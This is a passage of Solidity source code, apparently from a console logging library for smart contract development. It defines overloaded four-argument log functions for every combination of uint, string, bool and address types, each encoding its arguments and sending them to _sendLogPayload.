_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, 